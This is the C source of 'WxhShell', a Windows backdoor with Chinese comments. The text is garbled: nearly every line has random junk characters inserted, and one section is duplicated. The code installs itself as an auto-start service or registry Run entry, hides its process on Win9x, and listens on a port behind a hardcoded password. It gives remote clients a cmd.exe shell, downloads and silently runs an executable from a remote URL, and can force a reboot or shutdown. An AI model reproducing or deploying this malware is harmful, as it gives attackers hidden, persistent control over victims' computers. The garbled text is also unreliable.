wo}H'Q}Hj NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }v;V=%N+v ~Gp[_ %K if (!NtQueryInformationProcess) return 0; yf)%%& UXz<)RvB hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Mexk~zA^ if(!hProcess) return 0; ;a!S!%.h Rh2+=N<X if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OKZV{Gja fm%t^)E CloseHandle(hProcess); A|[?#S((] @u+]aI!`- hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `RT>}_j if(hProcess==NULL) return 0; fb7; |LF
)* : gqN HMODULE hMod; ]#<4vl\ char procName[255]; ]EbM9Fo-U unsigned long cbNeeded; K g*Q NX.6px17 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GKqm&/M*= ;O5zUl-` CloseHandle(hProcess); Ty\R=y}} ;C#F>SG\S if(strstr(procName,"services")) return 1; // 以服务启动 HWAdhDZ m@j?za9s return 0; // 注册表启动 M^Yh|%M } ja'T+!k CkC^'V) // 主模块 Po;W'7"Po` int StartWxhshell(LPSTR lpCmdLine) "Y.tht H { !TH)
+zi SOCKET wsl; Kn{4;Xk\ BOOL val=TRUE; 3NqB
<J int port=0; \\ij(>CI struct sockaddr_in door; :G=fl)!fE Ny7 S if(wscfg.ws_autoins) Install(); 5I;&mW`1,` /<k/7TF` port=atoi(lpCmdLine); (/YHk`v2 <nf@U>wlw if(port<=0) port=wscfg.ws_port; ]m q|w m~ABC#,2 WSADATA data; -IudgO] if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `hm-.@f,9 ?<,l3pwqa if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; A2FYBM`Q&D setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h4}84}5d door.sin_family = AF_INET; \K{
z door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]c*4J\s door.sin_port = htons(port); qZh/IW =*.~BG if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K3m/(jdO closesocket(wsl); -ad{tJV| return 1; :kV#y } }#+^{P3 ; }&D WaO]J7 if(listen(wsl,2) == INVALID_SOCKET) { kazzVK5x closesocket(wsl); 0> E r=,e return 1; rXq.DvQ } c#]4awHU Wxhshell(wsl); ?R
'r4P, WSACleanup(); @4C% +- qkqIV^*R return 0; Q\vpqE!9 zI uJ-8T" } 1H`,WQ1mG =I5>$}q_&, // 以NT服务方式启动 (L:>\m&NO VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n&/
` { DfD&)tsMQ DWORD status = 0; N>1em!AS DWORD specificError = 0xfffffff; Oo~;
L, H41?/U,{ serviceStatus.dwServiceType = SERVICE_WIN32; 7EEl+;wK serviceStatus.dwCurrentState = SERVICE_START_PENDING; G!##X: 6' serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C.P*#_R serviceStatus.dwWin32ExitCode = 0; MjRHA^b serviceStatus.dwServiceSpecificExitCode = 0; $HzBD.CF|x serviceStatus.dwCheckPoint = 0; =XQ%t
@z0 serviceStatus.dwWaitHint = 0; RP|`HkP-2 DCa^
u'f hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -i|}m++ if (hServiceStatusHandle==0) return; Gz0]}]A 3=[mP,pLh status = GetLastError(); `}\
"Aw c if (status!=NO_ERROR) 8Fh)eha9f { U/M>?G~ serviceStatus.dwCurrentState = SERVICE_STOPPED; q?:dCFw$x5 serviceStatus.dwCheckPoint = 0; &-w
Cvp7 serviceStatus.dwWaitHint = 0; tOD6&< serviceStatus.dwWin32ExitCode = status; 3}1u\(Mf serviceStatus.dwServiceSpecificExitCode = specificError; pki%vRY SetServiceStatus(hServiceStatusHandle, &serviceStatus); r5/0u(\LB return; FV!q!D } T::85 \@zHON( serviceStatus.dwCurrentState = SERVICE_RUNNING; wlvgg serviceStatus.dwCheckPoint = 0; Z{d^- serviceStatus.dwWaitHint = 0; ajT*/L!0_ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .P]+? %& } @mBQ?;qlK >U>(`r* // 处理NT服务事件,比如:启动、停止 UkC!1Jy VOID WINAPI NTServiceHandler(DWORD fdwControl) $PPi5f}HD { Zi
i switch(fdwControl) Q&;9x? e { ?V=ZIGj case SERVICE_CONTROL_STOP: ru%y serviceStatus.dwWin32ExitCode = 0; EZGIf/ 3 serviceStatus.dwCurrentState = SERVICE_STOPPED; *^4"5X@ serviceStatus.dwCheckPoint = 0; eByz-,{P serviceStatus.dwWaitHint = 0; e*C(q~PQ { JQI: sj SetServiceStatus(hServiceStatusHandle, &serviceStatus); q;CiV } A)!*]o>U return; x,-75 case SERVICE_CONTROL_PAUSE: ioCsV serviceStatus.dwCurrentState = SERVICE_PAUSED; / SB;Von break; jr."I+ case SERVICE_CONTROL_CONTINUE: G` A4|+W" serviceStatus.dwCurrentState = SERVICE_RUNNING; _{KG
4+5\X break; GxxW&y case SERVICE_CONTROL_INTERROGATE: kevrsV]/$ break; \2$|Ei7 }; Gd=RyoJl SetServiceStatus(hServiceStatusHandle, &serviceStatus); KpGhQdR# } niyV8v tWRC$ // 标准应用程序主函数 r19
pZAc int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
Otuf]B^s { +\9NDfYIA H
<l7ZS: // 获取操作系统版本 a=2%4Wmz OsIsNt=GetOsVer(); CdQ!GS<'y GetModuleFileName(NULL,ExeFile,MAX_PATH);
t{96p77)= +<C!U' // 从命令行安装 z:*|a+cy if(strpbrk(lpCmdLine,"iI")) Install(); D,feF9 _D tV // 下载执行文件 bG#>uE J- if(wscfg.ws_downexe) { 5j(k:a+!H if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~>|ziHx WinExec(wscfg.ws_filenam,SW_HIDE); 5]0<9a } %h@EP[\ &8lZNv8;(p if(!OsIsNt) { e7 o.xR // 如果时win9x,隐藏进程并且设置为注册表启动 y)@wjH{6 HideProc(); K0>zxqY StartWxhshell(lpCmdLine); yN-9[P8C } 0(HU}I else 1+s;FJ2} if(StartFromService()) sgFEK[w.y // 以服务方式启动 y6a3tG StartServiceCtrlDispatcher(DispatchTable); 7@Qcc t4A else XL^GZ // 普通方式启动 <5051UEu StartWxhshell(lpCmdLine); 2+XAX:YD ;V!D:5U return 0; WyiQoN'q } |6-nbj 2>%=U~5 xqh <hyKu
=========================================== /{I$ #:M 2,b$7xaf Bzf^ivT3L >(<f 0 $&c*'3 H5|;{q:j " Pm7}"D'/ tw@X>
G1z #include <stdio.h> PJ#,2=n~ #include <string.h> L/K(dkx #include <windows.h> e0 ecD3 #include <winsock2.h> 5 qA' #include <winsvc.h> %|oym.-I6
#include <urlmon.h> At;LO9T3z h?U
O&( #pragma comment (lib, "Ws2_32.lib") "{t$nVJ #pragma comment (lib, "urlmon.lib") sI2^Qp@O1 $??I/6 #define MAX_USER 100 // 最大客户端连接数 H PVEnVn #define BUF_SOCK 200 // sock buffer 2=}FBA,2 #define KEY_BUFF 255 // 输入 buffer x8|J-8A(
Hl=xW/%6y #define REBOOT 0 // 重启 2\$oV #define SHUTDOWN 1 // 关机 BgT*icd8d :`sUt1Fw. #define DEF_PORT 5000 // 监听端口 \;Weizq5 x+]" #define REG_LEN 16 // 注册表键长度 6A ah9 #define SVC_LEN 80 // NT服务名长度 (9)Q ' 'S ]:n,RO6 // 从dll定义API ['D]>Ot68 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <_+X 88 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BA.uw_^4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XjBD{m( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7_t'( /yu zQ PQ // wxhshell配置信息 #-J>NWdt struct WSCFG { fP1!)po int ws_port; // 监听端口 e3\T)x&= char ws_passstr[REG_LEN]; // 口令 !,PWb3S int ws_autoins; // 安装标记, 1=yes 0=no j>kqz>3 char ws_regname[REG_LEN]; // 注册表键名 y();tsWqc char ws_svcname[REG_LEN]; // 服务名 i
XN1I char ws_svcdisp[SVC_LEN]; // 服务显示名
\=o- char ws_svcdesc[SVC_LEN]; // 服务描述信息 wd6owr char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &^nGtW%a 9 int ws_downexe; // 下载执行标记, 1=yes 0=no iy"*5<;*DD char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %iB,IEw char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hbn([+xY \M-OC5fQv }; O/LXdz0B EQ_aa@M7 // default Wxhshell configuration <VE@DBWyl~ struct WSCFG wscfg={DEF_PORT, dRMx[7jVA "xuhuanlingzhe", :Dp0?&_ 1, F'Z,]b'st3 "Wxhshell", \2z>?i) "Wxhshell", 2AdDIVYC "WxhShell Service", }m8q}~>tL "Wrsky Windows CmdShell Service", uAk.@nfiEv "Please Input Your Password: ", ?7A>+EY 1, $cgcX "http://www.wrsky.com/wxhshell.exe", Hr C+Yjp "Wxhshell.exe" tJmTBsn }; 2 E=L8< dr"1s-D4IQ // 消息定义模块 ~J]qP #C char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rl.}%Ny char *msg_ws_prompt="\n\r? for help\n\r#>"; 7 8,n%=nG char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X3&
Jb2c2 char *msg_ws_ext="\n\rExit."; 1~gCtBRM char *msg_ws_end="\n\rQuit."; PY'2h4IL char *msg_ws_boot="\n\rReboot..."; 2<6UwF char *msg_ws_poff="\n\rShutdown..."; p7~!z.)o char *msg_ws_down="\n\rSave to "; +[ZY:ZQ W*G<X.Hf char *msg_ws_err="\n\rErr!"; {`_i` char *msg_ws_ok="\n\rOK!"; |y*c9 u?EN char ExeFile[MAX_PATH]; F"kAkX>3} int nUser = 0; rM SZ" HANDLE handles[MAX_USER]; 3g
B7g'U int OsIsNt; `0svy} /kG_*>.Z SERVICE_STATUS serviceStatus; /_.|E] SERVICE_STATUS_HANDLE hServiceStatusHandle; ->jDb/a{C )5H?Vh>36 // 函数声明 Fzcwy V
int Install(void); }0 ?3:A int Uninstall(void); iDD$pd,e\ int DownloadFile(char *sURL, SOCKET wsh); x~sBzTa int Boot(int flag); CGFDqCNr- void HideProc(void); #K&Gp- int GetOsVer(void); +,l-Nz int Wxhshell(SOCKET wsl); 'fW-Y!k% void TalkWithClient(void *cs); L50n8s int CmdShell(SOCKET sock); wM{s|Ay int StartFromService(void); {h4E8.E int StartWxhshell(LPSTR lpCmdLine); tX[WH\(xI bd`P0f? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F[MFx^sT{ VOID WINAPI NTServiceHandler( DWORD fdwControl ); T4F/w|Q SfR%s8c` // 数据结构和表定义 _dU\JD SERVICE_TABLE_ENTRY DispatchTable[] = Xc.`-J~Il { {G-kNU {wscfg.ws_svcname, NTServiceMain}, afk>+4q {NULL, NULL} m+9#5a- }; 0`H#
'/ qSQ~D(tO // 自我安装 hGrdtsH? int Install(void) Zd&S@Z { ('~LMu_ char svExeFile[MAX_PATH]; @nf`Gw ; HKEY key; V6Dbd"
i9 strcpy(svExeFile,ExeFile); tp|d*7^i $Q0n // 如果是win9x系统,修改注册表设为自启动 31)&vf[[ if(!OsIsNt) { fy$1YI>!Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kpp_|2|@< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y*hCMy; RegCloseKey(key); h];I{crh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2SLU:=<3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =c7;r]Ol RegCloseKey(key); n !(F, b return 0; /RF7j; } kVL.PY\K } 7z-[f'EIUI } ^Dx&|UwiZa else { _cwpA#x`} ;kK/_%gN-G // 如果是NT以上系统,安装为系统服务 jdBLsy@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Pz^544\~ou if (schSCManager!=0) 4P0}+ { @ P|y{e6 SC_HANDLE schService = CreateService x"gVq
~ ( EV?z`jE9 schSCManager, W!<U85-#S wscfg.ws_svcname, s`UJ1eJ wscfg.ws_svcdisp, 28nFRr SERVICE_ALL_ACCESS, SAz SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j!ch5A SERVICE_AUTO_START, nDW9NQ SERVICE_ERROR_NORMAL, W>LR\]Ti@ svExeFile, D,6:EV"sa NULL, t&p|Ynz?i NULL, Dzbz)Zst NULL, +h$
9\ NULL, cnLro NULL
3CJwj ); KTv$ if (schService!=0) -YE^zzh { ;Qq\DFe.w CloseServiceHandle(schService); ~5g ~;f[4 CloseServiceHandle(schSCManager); `{Ul! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1Z;iV<d strcat(svExeFile,wscfg.ws_svcname); c9Yrw^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8_F1AU? u RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <QvOs@i* RegCloseKey(key);
@8
6f return 0; NO3/rJ6- } K%d&EYoW] } He)%S]RLk CloseServiceHandle(schSCManager); q:(%*sY> } h$*!8=M } Ls%MGs9PI `2snz1>!j return 1; _Y!IEAU/# } 8-i#8'/x n| ;Im&, // 自我卸载 6wxs1G int Uninstall(void) *2?@
|<(r { &FD>&WRV HKEY key; iB{V^ksU fIF8%J ^3 if(!OsIsNt) { 7 3m1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $^P0F9~0 RegDeleteValue(key,wscfg.ws_regname); ZW}_DT0 RegCloseKey(key); l,8##7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]-q;4. RegDeleteValue(key,wscfg.ws_regname); #F#%`Rv1 RegCloseKey(key); nK,w]{<wG! return 0; hQi2U } }*-@!wc-N } Uv.)?YeGh } nlYNN/@" else { +0~YP*I`/
grYe&(`X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G?ZXWu. if (schSCManager!=0) Y7aqO5 { /NlGFO*Z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yw!{MO if (schService!=0) 2?5>o!C { q@qsp&0/ if(DeleteService(schService)!=0) { /ouPg=+Nl CloseServiceHandle(schService); e!Hh s/&!T CloseServiceHandle(schSCManager); P%6~&woF return 0; :
'c&,oLY } xmG<]WF>E CloseServiceHandle(schService); {FGj]* } ""H?gsL[ CloseServiceHandle(schSCManager); hj:,S| } *Uh!>Iv; } RpK@?[4s sRW<me; return 1; K8~d^G } zTp"AuNHN hc1N~$3!G // 从指定url下载文件 `gJ(0#ac int DownloadFile(char *sURL, SOCKET wsh) g :OI { ?`#Khff? HRESULT hr; y*? Jui Q char seps[]= "/"; nEfK53i_ char *token; <[v[ci char *file; q<J~ ~' char myURL[MAX_PATH]; nu^436MSOa char myFILE[MAX_PATH]; ]yu:i-SfP \lY_~*J strcpy(myURL,sURL); 4JEpl'5^Q token=strtok(myURL,seps); pJ=#zsE0 while(token!=NULL) ;*N5Y}?j' { ),)lzN%! file=token; <GJbmRc| token=strtok(NULL,seps); m[$_7a5 } Bwrx *J /{[o~:'p GetCurrentDirectory(MAX_PATH,myFILE); mR~&)QBP. strcat(myFILE, "\\"); [Zrr)8A strcat(myFILE, file); XG?8s
& send(wsh,myFILE,strlen(myFILE),0); Fs{*XKv&lH send(wsh,"...",3,0); omFz@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @ 7u 0v if(hr==S_OK) [m -bV$-d return 0; \G BuWY3B else @L`jk+Y0vF return 1; >sF)BoLc cS$_\65 } 7nSxi+6e fOHxtHM // 系统电源模块 5N]"~w* int Boot(int flag) jylD6IT { [?gP; , HANDLE hToken; B:<VA= TOKEN_PRIVILEGES tkp; 5^cCY'I )_:NLo: if(OsIsNt) { =%7-ZH9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _M1 %Z~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "&] -2( tkp.PrivilegeCount = 1; Fu~j8K tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jCY%| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {I((p_ if(flag==REBOOT) { _GPe<H if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <%^&2UMg return 0; FwK]$4* } xLE)/}y_7H else { ,+VGSd if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7^Uv7<pw return 0; SJLis"8 } 7=uj2.J6 } 3%6?g* else { zCA2X
!7F if(flag==REBOOT) { [Pp'Ye~K@c if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J4'eI[73 return 0;
y7{?Ip4[ } yauvXosX else { LD?sh"?b if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @iiT< return 0; _aphkeqd } xk5]^yDp } #Y!a6h+ VUc%4U{Cti return 1; ("@!>|H } }\f0 A- Mt$
*a // win9x进程隐藏模块 B?QIN] void HideProc(void) s.rm7r@# { b>W%t s"|Pdc4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V#HuIgf- if ( hKernel != NULL ) im8 CmQ { B~mj 8l4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :s,Z<^5a)g ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~u{uZ(~ FreeLibrary(hKernel); SM'|+ d } zA 3_Lx! kM6
Qp return; NbobliC= } e.> P8C<& #E[0ys1O // 获取操作系统版本 9?$i? int GetOsVer(void) (Z*!#}z` { .`lCWeHN OSVERSIONINFO winfo; !i50QA|(G winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gi8FHSU|G GetVersionEx(&winfo); wY#E?, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R-:2HRaA return 1; ?[AD=rUC else c$,P ~Ws' return 0; HQ g^
h } w]H->B29C sK{e*[I>W // 客户端句柄模块 9x8fhAy}4 int Wxhshell(SOCKET wsl) 5R-6ji { b
6p|q_e SOCKET wsh; 0[`^\Mv4y struct sockaddr_in client; Y73C5.dNcE DWORD myID; :h$$J
lP 0f/<7R while(nUser<MAX_USER) |>Vb9:q9Po { ok[i<zl;' int nSize=sizeof(client); ixFi{_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .8R@2c`}Cs if(wsh==INVALID_SOCKET) return 1; m*pJBZxd w(/S?d
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AdEMa}u6 if(handles[nUser]==0)
2iOV/=+ closesocket(wsh); Z r8*et else \G[$:nS nUser++; -@s#uA
h } 7r!x1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M7T5
~/4 %4H%?4 return 0; Sf'CN8 } QY/w zdYjF| // 关闭 socket \<' ?8ri# void CloseIt(SOCKET wsh) DF= *_,2/ { CY1Z' closesocket(wsh); .3;;;K9a~] nUser--; paK2xX8E ExitThread(0); *T/']t } (e~N q X,
n:,' // 客户端请求句柄 6'/ #+,d' void TalkWithClient(void *cs) D^O@'zP=At { y0#2m6u [6fQ7uFMM8 SOCKET wsh=(SOCKET)cs; =euni}7a char pwd[SVC_LEN]; +rd+0 `}C char cmd[KEY_BUFF]; kj_c%T
]/ char chr[1]; A&VG~r$ int i,j; KPF1cJ2N w>gYx(8b while (nUser < MAX_USER) { xpt:BBo Sc0w.5m6 if(wscfg.ws_passstr) { (HVGlw'` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X8|, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DVA:Cmh\ //ZeroMemory(pwd,KEY_BUFF); :>
'+"M2r i=0; ;I}fBZ3
while(i<SVC_LEN) { $i&zex{\ uFE)17E // 设置超时 z_HdISy0 fd_set FdRead; Y7|EIAU5Y struct timeval TimeOut; w{KavU5W FD_ZERO(&FdRead); Hka2 FD_SET(wsh,&FdRead); L,\Iasv TimeOut.tv_sec=8; aUp
g u" TimeOut.tv_usec=0; KoT\pY^7\ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g#bRT*,L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^W^OfY @dKTx#gZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G\i9:7 ` pwd=chr[0]; zPO9!?7| if(chr[0]==0xd || chr[0]==0xa) { &~CI<\o P pwd=0;
D7Z /H'| break; gdc<ZYcM } tw;}jh i++; 1Mzmg[L8 } 'L'R9&o<X a(nlTMfu // 如果是非法用户,关闭 socket dd;~K&_Q/i if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?9/G[[( } o&%g8=n% .*oU]N%K= send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i5Ggf"![ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e
,(mR+a8 **%37 while(1) { P
pb\6|* $4LzcwG ZeroMemory(cmd,KEY_BUFF); {)XTk&" 79gT+~z // 自动支持客户端 telnet标准 N8jIMb'< j=0; <~)P7~$d?p while(j<KEY_BUFF) { k[xSbs'D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HPl<%%TI cmd[j]=chr[0]; pBHRa?Y5 if(chr[0]==0xa || chr[0]==0xd) { x5Bk/e' cmd[j]=0; 3og.y+.=U. break; ZK,G v } 6P3*Z j++; oJ^P(] dw } X?O[r3< y[;>#j$ // 下载文件 l?e.9o2- if(strstr(cmd,"http://")) { (PLUFT send(wsh,msg_ws_down,strlen(msg_ws_down),0); aE8VZ8tvq if(DownloadFile(cmd,wsh)) BPrt'Nc send(wsh,msg_ws_err,strlen(msg_ws_err),0); { 6il`>=C else * 4'"2" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {7[Ox<Ho } Rcuz(yS8 else { VY-EmbkG-t hN_]6,<\ switch(cmd[0]) { X|dlt{Gf
yi[x}ffdE // 帮助 Rq -ZL{LR7 case '?': { 97Vtn4N3 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LVyyO3e break; F59 TZI } W9&=xs6 // 安装 }e1ZbmW case 'i': { w0.
u\ if(Install()) + {]j]OP send(wsh,msg_ws_err,strlen(msg_ws_err),0); WJi]t9 3 else "+c-pO`Wg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %d@z39-; break;
7GGUV } lE;!TQj:X // 卸载 @ Qe0! (_= case 'r': { _1^'(5f$ if(Uninstall()) crCJrN= send(wsh,msg_ws_err,strlen(msg_ws_err),0); \8tsDG(1 ' else )7@0[> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lZ0 =;I break; *p d@.|^)m } 3`HV(5U[ // 显示 wxhshell 所在路径 gw(z1L5
n case 'p': { K3C <{#r char svExeFile[MAX_PATH]; kfNWI#'9
strcpy(svExeFile,"\n\r"); f1? >h\F8 strcat(svExeFile,ExeFile); WIOV2+ send(wsh,svExeFile,strlen(svExeFile),0); ICCc./l| break; M5B# TAybC } zs;JJk^ // 重启 [QTV9 case 'b': { CTK;dM'uQ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *Ex|9FCt$ if(Boot(REBOOT)) =Qq+4F)MD send(wsh,msg_ws_err,strlen(msg_ws_err),0); IV-{ve6 else { 6@f-Glwg closesocket(wsh); Vl]>u+YqE ExitThread(0); :&Nbw } p_ =z# break; AW .F3hN) } $>gFf}#C // 关机 E^PB)D(. case 'd': { i4Jc.8^9$ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oU|c.mYe if(Boot(SHUTDOWN)) |qLh5Ty send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0x7'^Z>-oe else { $kgVa^ closesocket(wsh); e!`i3KYn" ExitThread(0); !k%#R4*> } <{pz<io) break; t)
+310w } @x1-!
~z# // 获取shell PH"%kCI: case 's': { $(
)>g>% CmdShell(wsh); g`^x@rj`E closesocket(wsh); V :eD]zq5 ExitThread(0); =43auFY-P break; @o^Ww } 5xde; // 退出 l0]
EX>"E case 'x': { a?.=V send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,Q,^3*HX9} CloseIt(wsh); Q?T]MUY(L break; hph4 `{T } h![#;>( // 离开 8fb'yjIC case 'q': { >7r!~+B"9' send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,[Fb[#Qqb closesocket(wsh); O f#: WSACleanup(); / xQPTT exit(1); t5zKW _J7 break; %SI'BJ } 4YHY7J } f)!Z~t & } Fi1@MG5$2 zL it // 提示信息 P4?glh q# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ddo#P%sH' } :]c3|J } SaCh
7 ^ :EH=_" return; t
Pf40`@ } $cR{o# HThcn1u~^b // shell模块句柄 J;%Xfx] int CmdShell(SOCKET sock) _|]x2xb) { m,S{p<-h STARTUPINFO si; .2pK.$. ZeroMemory(&si,sizeof(si)); 2%>FR4a si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j9,P/K$:w si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K#xvu1U PROCESS_INFORMATION ProcessInfo; 6#yUc_5 \ char cmdline[]="cmd"; P$sxr CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AEuG v}# return 0; )i<j XZ:O } eq" ]%s S$k&vc(0 // 自身启动模式 [2koe.?( int StartFromService(void) b2]Kx&! { >MK98(F typedef struct {U1m.30n { XM}hUJJW DWORD ExitStatus; Q^I\cAIB DWORD PebBaseAddress; a6H%5N DWORD AffinityMask; ,PZ ge DWORD BasePriority; BC]?0 U ULONG UniqueProcessId; x :7IIvP ULONG InheritedFromUniqueProcessId; {|\.i } PROCESS_BASIC_INFORMATION; 8] ikygt" J=L5=G7( PROCNTQSIP NtQueryInformationProcess; '!$%> ||S -F92 -jBM4 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 66 Tpi![ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7?t6UPf ^J d
r>@ HANDLE hProcess; v@Ox:wl> PROCESS_BASIC_INFORMATION pbi; zT[!o
j7 smLQS+UE HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *j-aXN/ $ if(NULL == hInst ) return 0; tu?MY p; 1U\z5$V g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "mNq&$ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iI>A *,{,` NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jo}eeJ;k vFsLY if (!NtQueryInformationProcess) return 0; o14cwb 4 OX^( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c(%|: P^ if(!hProcess) return 0; BZxvJQ fT{Yg /j if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m4g$N) L-\GHu~) CloseHandle(hProcess); go"Hf_ 2"5v[,$1H hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :Yks|VJ1 if(hProcess==NULL) return 0; s@DLt+ O5 iX\X>W$P HMODULE hMod; d| {r5[& char procName[255]; g*"P:n71 unsigned long cbNeeded; ]:f%l
mEy 4&f3%eTi if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Rh |nP&6
Z<phcqEi8 CloseHandle(hProcess); bTu9;( C
